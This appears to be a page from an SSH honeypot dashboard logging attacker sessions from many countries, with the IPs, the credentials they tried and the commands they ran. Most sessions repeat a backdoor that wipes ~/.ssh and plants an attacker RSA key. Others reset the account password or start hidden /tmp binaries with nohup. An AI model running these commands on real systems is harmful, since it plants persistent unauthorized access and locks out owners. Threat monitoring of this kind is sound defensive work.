🎭 stoic_jade_root (8.129.135.162) — Shenzhen, China · 1 session · 1 cmd

2026-05-07 08:45 EDT · as pi/pi

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 stoic_pampas_root (186.38.26.5) — Sierra Grande, Argentina · 1 session · 2 cmds

2026-05-07 08:31 EDT · as oracle/oracle2024

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 crimson_dragon_root (180.110.149.157) — Nanjing, China · 1 session · 20 cmds

2026-05-07 08:20 EDT · as oracle/oracleadmin

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "oracleadmin\nbdOUB8QU2O3K\nbdOUB8QU2O3K"|passwd|bash

$ Enter new UNIX password:

$ echo "oracleadmin\nbdOUB8QU2O3K\nbdOUB8QU2O3K\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 rusty_sultan_root_73 (45.92.219.73) — Istanbul, Türkiye · 1 session · 1 cmd

2026-05-07 06:18 EDT · as root/password

echo

$ echo TEST

🎭 murky_carnival_root (177.41.192.124) — Mogi das Cruzes, Brazil · 1 session · 2 cmds

2026-05-07 06:16 EDT · as oracle/system

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 spectral_kopi_root (103.20.122.54) — Singapore, Singapore · 1 session · 2 cmds

2026-05-07 06:14 EDT · as oracle/iflytek

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 sneaky_dragon_root_58 (116.153.81.58) — Nanchang, China · 1 session · 20 cmds

2026-05-07 05:46 EDT · as oracle/iflytek

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "iflytek\nfKBDWgi7BQAF\nfKBDWgi7BQAF"|passwd|bash

$ Enter new UNIX password:

$ echo "iflytek\nfKBDWgi7BQAF\nfKBDWgi7BQAF\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 sullen_mekong_root_33 (103.78.1.33) — Thanh Xuân, Vietnam · 1 session · 2 cmds

2026-05-07 02:00 EDT · as oracle/welcome1

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 ironclad_rendang_root (182.253.168.47) — Jakarta, Indonesia · 1 session · 2 cmds

2026-05-07 01:43 EDT · as oracle/welcome1

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 haywire_bamboo_root_120 (103.69.96.120) — Bút Sơn, Vietnam · 2 sessions · 4 cmds

2026-05-07 00:39 EDT · as oracle/Huawei@123, oracle/Password

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

🎭 rogue_jade_root (106.14.183.112) — Shanghai, China · 70 sessions · 70 cmds

2026-05-06 23:10 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×70

🎭 nocturnal_eagle_root_94 (209.137.181.94) — Los Angeles, United States · 1 session · 1 cmd

2026-05-07 00:08 EDT · as deploy/deploy

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 molten_tiger_root (106.51.92.114) — Bengaluru, India · 1 session · 2 cmds

2026-05-07 00:05 EDT · as oracle/oracle123!@#

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 derelict_k-pop_root (59.17.95.129) — Yeonsu-gu, South Korea · 1 session · 2 cmds

2026-05-07 00:04 EDT · as oracle/oracle123!@#

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 midnight_dragon_root_77 (39.105.133.77) — Beijing, China · 1 session · 1 cmd

2026-05-06 23:50 EDT · as oracle/Oracle1

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 unhinged_dragon_root (47.96.250.105) — Hangzhou, China · 1 session · 1 cmd

2026-05-06 21:53 EDT · as pi/pi

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 wired_void_root (190.167.237.191) — Santiago de los Caballeros, Dominican Republic · 1 session · 2 cmds

2026-05-06 21:22 EDT · as oracle/1111

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 rogue_taco_root (186.96.151.198) — Mexico City, Mexico · 3 sessions · 6 cmds

2026-05-06 20:46 EDT · as oracle/123root123, oracle/a, oracle/or@cle

file attribute tampering → SSH key persistence (repeated file attribute tampering 3x)

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3

↳ SSH key persistence

🎭 wired_burger_root_212 (209.141.41.212) — Las Vegas, United States · 1 session · 20 cmds

2026-05-06 20:24 EDT · as postgres/postgres

cd ~; chattr -ia .ssh; lockr -ia .ssh → cd ~ && rm -rf .ssh && mkdir .ssh → echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv... → cat /proc/cpuinfo | grep name | wc

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "postgres\nuQ6bkcLqrzS7\nuQ6bkcLqrzS7"|passwd|bash

$ Enter new UNIX password:

$ echo "postgres\nuQ6bkcLqrzS7\nuQ6bkcLqrzS7\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 listless_lantern (183.60.172.37) — Guangzhou, China · 1 session · 1 cmd

2026-05-06 19:31 EDT · as guest/guest

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 brisk_wraith_root (95.216.3.67) — Helsinki, Finland · 8 sessions · 8 cmds

2026-05-06 19:17 EDT · as root/123456, root/password, root/root

make executable

$ nohup /tmp/.sorry_KwpRhZl0 >/tmp/.sorry_8JoWIbaM.log 2>&1 &

$ chmod +x /tmp/.sorry_KwpRhZl0

↳ make executable

$ nohup /tmp/.sorry_3oHNtdTF >/tmp/.sorry_do8bp3kc.log 2>&1 &

$ chmod +x /tmp/.sorry_3oHNtdTF

↳ make executable

$ nohup /tmp/.sorry_XpaqH5hR >/tmp/.sorry_p7Q4taNm.log 2>&1 &

$ chmod +x /tmp/.sorry_XpaqH5hR

↳ make executable

$ nohup /tmp/.sorry_icXbXNM2 >/tmp/.sorry_BQVhnGfD.log 2>&1 &

$ chmod +x /tmp/.sorry_icXbXNM2

↳ make executable

🎭 sneaky_durian_root_158 (45.78.198.158) — Singapore, Singapore · 1 session · 2 cmds

2026-05-06 18:24 EDT · as oracle/oracle@12345

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🍯 HONEYPOT DASHBOARD

🌍 Attack Origins

🏆 Top Attackers

📡 Recent Activity

🎬 Greatest Hits

🔑 Top Credentials

📈 Attack Timeline

📊 Daily Breakdown

📊 All-Time Stats

💀 Successful Logins — What They Did